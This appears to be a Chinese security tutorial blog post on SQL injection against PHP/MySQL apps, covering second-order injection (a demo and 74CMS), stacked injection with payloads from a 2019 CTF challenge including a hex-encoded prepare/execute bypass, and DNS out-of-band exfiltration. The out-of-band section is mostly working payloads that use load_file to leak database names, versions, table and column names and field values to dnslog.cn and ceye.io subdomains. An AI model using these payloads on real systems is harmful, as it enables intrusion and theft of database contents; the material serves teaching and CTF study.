SQL注入四-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件

演示案例:

  • PHP-MYSQL-二次注入-DEMO&74CMS
  • PHP-MYSQL-堆叠注入-DEMO&CTF强网
  • PHP-MYSQL-带外注入-DEMO&DNSLOG

#PHP-MYSQL-二次注入-DEMO&74CMS
1DEMO-用户注册登录修改密码
2CMS-74CMS个人中心简历功能
黑盒思路:分析功能有添加后对数据操作的地方(功能点)
白盒思路:insert后进入select或update的功能的代码块
注入条件:插入时有转义函数或配置,后续有利用插入的数据

#PHP-MYSQL-堆叠注入-DEMO&CTF强网
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,
例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.

1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句
支持堆叠数据库:MYSQL MSSQL Postgresql等

-2019强网杯-随便注(CTF题型)
';show databases;
';show tables;
';show columns from `1919810931114514`;
';select flag from `1919810931114514`;
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句

#PHP-MYSQL-带外注入-DEMO&DNSLOG
0.注入条件
ROOT高权限且支持load_file()
有部分注入点是没有回显的,所有读取也是没回显的,采用带外
1.使用平台
http://ceye.io
http://www.dnslog.cn
2.带外应用场景:
解决不回显,反向连接,SQL注入,命令执行,SSRF等
SQL注入:
select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa'));
and (select load_file(concat('//',(select database()),'.69knl9.dnslog.cn/abc')))
// 查询当前数据库
id=1 and load_file(concat("\\\\",database(),".dbuh8a.ceye.io\\asdt"))

//查询其他数据库
id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
"""
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个数据库名
limit 1,1 查询第二个数据库名
limit 2,1 查询第三个数据库名
"""

//查询版本号
id=1 and load_file(concat("\\\\",version(),".dbuh8a.ceye.io\\xxx.txt"))

//查询当前数据库demo01中第一个表名
id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='demo01' limit 0,1 ),".dbuh8a.ceye.io\\xxx.txt"))

"""
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个表名
limit 1,1 查询第二个表名
limit 2,1 查询第三个表名
"""
//查询security数据库emails表下第一个列名
id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))

//查询字段值  数据库名为security 表名emails 列名id
id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))

相关推荐

  1. SQL注入注入

    2024-03-24 05:38:05       8 阅读
  2. SQL布尔盲注、延迟注入注入

    2024-03-24 05:38:05       29 阅读
  3. SQL注入攻击 - 注入(Stacked Injection)

    2024-03-24 05:38:05       22 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-03-24 05:38:05       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-03-24 05:38:05       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-03-24 05:38:05       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-03-24 05:38:05       20 阅读

热门阅读

  1. 数据仓库——维度表更新

    2024-03-24 05:38:05       19 阅读
  2. C#中const与readonly关键字区别

    2024-03-24 05:38:05       18 阅读
  3. 数据分析-Pandas类别的排序和顺序

    2024-03-24 05:38:05       18 阅读
  4. 最常考的设计模式之一---单例模式

    2024-03-24 05:38:05       17 阅读
  5. 设计模式之单例模式

    2024-03-24 05:38:05       17 阅读
  6. 面试宝典:MySQL-深度分析如何避免幻读

    2024-03-24 05:38:05       18 阅读
  7. 第4周 Python程序流程控制刷题(循环结构)

    2024-03-24 05:38:05       17 阅读
  8. Gin简介(Go web基础知识)

    2024-03-24 05:38:05       20 阅读
  9. oracle ADG主备切换

    2024-03-24 05:38:05       20 阅读
  10. Spring设计模式-实战篇之策略模式 + 工厂模式

    2024-03-24 05:38:05       21 阅读